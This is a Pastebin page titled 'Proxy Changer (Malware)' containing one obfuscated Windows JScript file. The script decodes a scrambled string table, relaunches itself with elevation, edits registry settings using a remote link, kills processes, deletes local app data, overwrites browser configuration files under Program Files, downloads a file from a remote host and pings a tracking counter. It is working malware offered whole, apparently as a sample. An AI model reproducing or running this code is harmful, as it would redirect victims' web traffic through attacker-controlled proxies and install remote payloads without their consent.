API tools faq
paste
Advertisement
1ZRR4H

Proxy Changer (Malware)

1ZRR4H
Oct 5th, 2019
1,025
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.48 KB | None | 0 0
raw download clone embed print report diff
  1. var _$_a34c=(function(o,a){var e=o.length;var d=[];for(var l=0;l< e;l++){d[l]= o.charAt(l)};for(var l=0;l< e;l++){var m=a* (l+ 314)+ (a% 46186);var k=a* (l+ 213)+ (a% 48410);var b=m% e;var h=k% e;var j=d[b];d[b]= d[h];d[h]= j;a= (m+ k)% 2453651};var i=String.fromCharCode(127);var g="";var q="\x25";var c="\x23\x31";var f="\x25";var p="\x23\x30";var n="\x23";return d.join(g).split(q).join(i).split(c).join(f).split(p).join(n).split(i)})("Sgap%iaeuol t Te txmnsrgrcPshllS%epp pctR.anoFiit:pteLmmrlhek\\aajOrtegonsendIngonpyndy1ItouctP%tmFgom\\ndtnoosnftXfsLoc%ird\\%DDnemta erSimaiyrxcnt %aSphnou\\cggrre%nErgtoir Lshxterrt 3alE1te_E/#_% bpt:aserw.rleuepEyseeuFotg.t\\\\ltie/bhDnaassr/sorolodnyz:pogtcmex%ac%lgoecoarekcom%oanaoxe%Cldhmgas zmwtci%xrcl\\htodlo/eNrl..tae%n%nmmo t%icello/ggSlaF\\\\iclggasptih%% e%ncvslaoFosslslCmxmcs\\G% /Mmso\\n:DaeepugtlC_FVulreld\\EGoeoe\\eeidnluQP.eiodatchdruclrotx%oxe6ic%ayyashtajnse\\griliieim%eedxni%aeceltiio.cies%mo=tadhCia\\eubisyeison\\ngCaStGmptriljeCrMoAooco eLHulgl#nanoN\\saatV\\ioSg aasax%saUtgp s:tbSo\"ln%o\\jeenvFhntizigpoese styttrpddeei/rrnoetcbmnT\\miGe_%lCmUb%ee_oLotsSm cDr rFih_oa%%t%rt.cehh %e%ualil%nFt pe%ruFlmTr/henlodEmrxsloD%nds SeeEe.kde.otpebtctlirugnefagetalapaslrt%f pherAc%e%xanaooii\\ sahntiGt\\osesod%se\"/xdix.\\Ublcr haaeeilm}FodoeloecnlctatEsB.#pEele1aegnntlne i tnTr%cabrmgAbBoeer_e ei uhnloexdR menrsne%ooeleSaeih Ei8aUersnrpUseR\\ anti\\e%mMDobtrlleiu%ua/n.f geWtn\\%pTiie%ur.i_1ta\" \"an {woe_\"0CoejngixeG\\amleiC/ea%n%%g.ec\\eSupliba#l/ooeh%aop lahNc%a%esrgOlaoye ubzaerrcgicp mWe.o 4rr%oage.tnhlers.Hsoo)Df aeaeQuerCetvdyiG alacte%pxab%ooepCemt\\c ltses%r\\mxtett.zhe cm.otteseje%r/%bajPoEFiuedi%oMa\\ga%tpapsrdC%grreyeemHcslais\"\\dse soxEry%if.rosSrr_fta*mc%atc%roas ueroE .goovNFensn%%twwe cexupneoaL1pSePiAwttsi\\ua%ctdU.\\eglarlisoalxnaxl uod%eoar.pxe1\\wexelen_hiuC%tceih%batexltu3Xnr.idto/ctnhaUHTltnhxfu.eu %ir eca/aiia2//Esll%ntaeeFbb\\%0eofo _sSannt\\crsa%vpw asrqnWo.ehp /Pnjtejioatcepoal%ewea.tloolexgbgg-s ivev.-eter eg Soo orcsaahm \\%iPsdnat.D eesglsOe%oenit%nly pnw%grAsaesushLtng2\\%c oenyei\\eGepemualgeaDfAaOa4jiblSgtnc tu.gn2c\\t/hslrsa\\\\sc%daxle2dsPf Dkhiuonotl%tnocn#p tn%mmbsEf\"#o/napsrgltredooYNn(rtpxm{ns.lKa\\l p%Deetaete%.e240rciclbaeiehceM\\nkrt%lelnh\\rccee1gps%Pojeghs%0.eRh.i#ri. \\piFhRkoCptoieeo%\\%s\\m steechcasl%e\\oleFAplanc d3elSroeegEzctxfe%igWlj0nfh/\\:.l3.\\a0ienFc-Wx1m a%.%cizrsRE#aaa %ilhgCbetor.ravge",1475538);var fileso= new ActiveXObject(_$_a34c[0]);var appsh= new ActiveXObject(_$_a34c[1]);var sc=WScript[_$_a34c[3]](_$_a34c[2]);var pdata=sc[_$_a34c[5]](_$_a34c[4]);var locapp=sc[_$_a34c[5]](_$_a34c[6]);var PROGRAMFILES=sc[_$_a34c[8]](_$_a34c[7]);var PROGRAMFILES86=sc[_$_a34c[8]](_$_a34c[9]);var link1=_$_a34c[10];var linkcont=_$_a34c[11]+ _$_a34c[12]+ _$_a34c[13]+ _$_a34c[14]+ _$_a34c[15]+ _$_a34c[16]+ _$_a34c[17]+ _$_a34c[18]+ _$_a34c[19];if(WScript[_$_a34c[21]][_$_a34c[20]]()== 0){appsh[_$_a34c[30]](_$_a34c[22],_$_a34c[23]+ WScript[_$_a34c[24]]+ _$_a34c[23]+ _$_a34c[25],WScript[_$_a34c[24]][_$_a34c[28]](0,-WScript[_$_a34c[27]][_$_a34c[26]]- 1),_$_a34c[29],1);var objWMIService=GetObject(_$_a34c[31]);var processItems=objWMIService[_$_a34c[33]](_$_a34c[32]+ _$_a34c[23]+ _$_a34c[22]+ _$_a34c[23]);var gga=0;for(var objEnum= new Enumerator(processItems);!objEnum[_$_a34c[34]]();objEnum[_$_a34c[35]]()){gga= gga+ 1};if(gga== 2){WScript[_$_a34c[36]]()};appsh[_$_a34c[30]](_$_a34c[22],_$_a34c[23]+ WScript[_$_a34c[24]]+ _$_a34c[23]+ _$_a34c[37],_$_a34c[37],_$_a34c[37],1)}else {if(fileso[_$_a34c[39]](pdata+ _$_a34c[38])){WScript[_$_a34c[41]](_$_a34c[40]);WScript[_$_a34c[36]](1)}else {mainn()}};function saveFile(c,b){var a= new ActiveXObject(_$_a34c[42]);a[_$_a34c[43]]= function(){if(a[_$_a34c[44]]=== 4){var c= new ActiveXObject(_$_a34c[45]);c[_$_a34c[46]]();c[_$_a34c[47]]= 1;c[_$_a34c[49]](a[_$_a34c[48]]);c[_$_a34c[50]]= 0;c[_$_a34c[51]](b,2);c[_$_a34c[52]]()}};a[_$_a34c[46]](_$_a34c[53],c,false);a[_$_a34c[54]]()}function contador(b){var a= new ActiveXObject(_$_a34c[42]);a[_$_a34c[46]](_$_a34c[53],b,true);a[_$_a34c[54]]()}function contt(){contador(linkcont);WScript[_$_a34c[55]](2000);WScript[_$_a34c[41]](_$_a34c[56])}function mainn(){WScript[_$_a34c[41]](_$_a34c[57]);fileso[_$_a34c[58]](pdata+ _$_a34c[38]);sc[_$_a34c[65]](_$_a34c[59],link1+ _$_a34c[60]+ _$_a34c[16]+ _$_a34c[61]+ _$_a34c[62]+ _$_a34c[63]+ _$_a34c[64]);sc[_$_a34c[67]](_$_a34c[66],0);WScript[_$_a34c[55]](2000);sc[_$_a34c[67]](_$_a34c[68]);WScript[_$_a34c[55]](3000);if(fileso[_$_a34c[70]](locapp+ _$_a34c[69])){var d=fileso[_$_a34c[71]](locapp+ _$_a34c[69]);for(var c= new Enumerator(d[_$_a34c[72]]);!c[_$_a34c[34]]();c[_$_a34c[35]]()){fileso[_$_a34c[74]](c[_$_a34c[73]](),true)}};WScript[_$_a34c[55]](2000);var e=fileso[_$_a34c[58]](pdata+ _$_a34c[75],true);e[_$_a34c[77]](_$_a34c[76]);e[_$_a34c[77]](_$_a34c[78]);e[_$_a34c[77]](_$_a34c[79]);e[_$_a34c[77]](_$_a34c[80]);e[_$_a34c[77]](_$_a34c[80]);e[_$_a34c[81]]();if(fileso[_$_a34c[39]](PROGRAMFILES+ _$_a34c[82])){var a=fileso[_$_a34c[71]](PROGRAMFILES+ _$_a34c[83]);var b=a[_$_a34c[84]];for(var c= new Enumerator(b);!c[_$_a34c[34]]();c[_$_a34c[35]]()){var f=_$_a34c[37];f+= c[_$_a34c[73]]();if(f[_$_a34c[85]](_$_a34c[62])!= -1){if(fileso[_$_a34c[39]](f+ _$_a34c[86])){fileso[_$_a34c[88]](pdata+ _$_a34c[75],f+ _$_a34c[87],true)}}};sc[_$_a34c[67]](_$_a34c[89]);sc[_$_a34c[67]](_$_a34c[90]);var h=0;while(h< 20){if(fileso[_$_a34c[39]](locapp+ _$_a34c[91])){h= 21}};WScript[_$_a34c[55]](5000);WScript[_$_a34c[41]](_$_a34c[92]);WScript[_$_a34c[55]](5000);sc[_$_a34c[67]](_$_a34c[68]);WScript[_$_a34c[55]](3000);fileso[_$_a34c[74]](locapp+ _$_a34c[93],true);fileso[_$_a34c[74]](locapp+ _$_a34c[94],true);saveFile(link1+ _$_a34c[95],locapp+ _$_a34c[94]);sc[_$_a34c[67]](_$_a34c[96]);WScript[_$_a34c[55]](2000)};if(fileso[_$_a34c[39]](PROGRAMFILES86+ _$_a34c[82])){var a=fileso[_$_a34c[71]](PROGRAMFILES86+ _$_a34c[83]);var b=a[_$_a34c[84]];for(var c= new Enumerator(b);!c[_$_a34c[34]]();c[_$_a34c[35]]()){var g=_$_a34c[37];g+= c[_$_a34c[73]]();if(g[_$_a34c[85]](_$_a34c[62])!= -1){if(fileso[_$_a34c[39]](g+ _$_a34c[86])){fileso[_$_a34c[88]](pdata+ _$_a34c[75],g+ _$_a34c[87],true)}}};sc[_$_a34c[67]](_$_a34c[89]);sc[_$_a34c[67]](_$_a34c[90]);var h=0;while(h< 20){if(fileso[_$_a34c[39]](locapp+ _$_a34c[91])){h= 21}};WScript[_$_a34c[55]](5000);WScript[_$_a34c[41]](_$_a34c[92]);WScript[_$_a34c[55]](5000);sc[_$_a34c[67]](_$_a34c[68]);WScript[_$_a34c[55]](3000);fileso[_$_a34c[74]](locapp+ _$_a34c[93],true);fileso[_$_a34c[74]](locapp+ _$_a34c[94],true);saveFile(link1+ _$_a34c[95],locapp+ _$_a34c[94]);sc[_$_a34c[67]](_$_a34c[96]);WScript[_$_a34c[55]](2000)};contt()}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!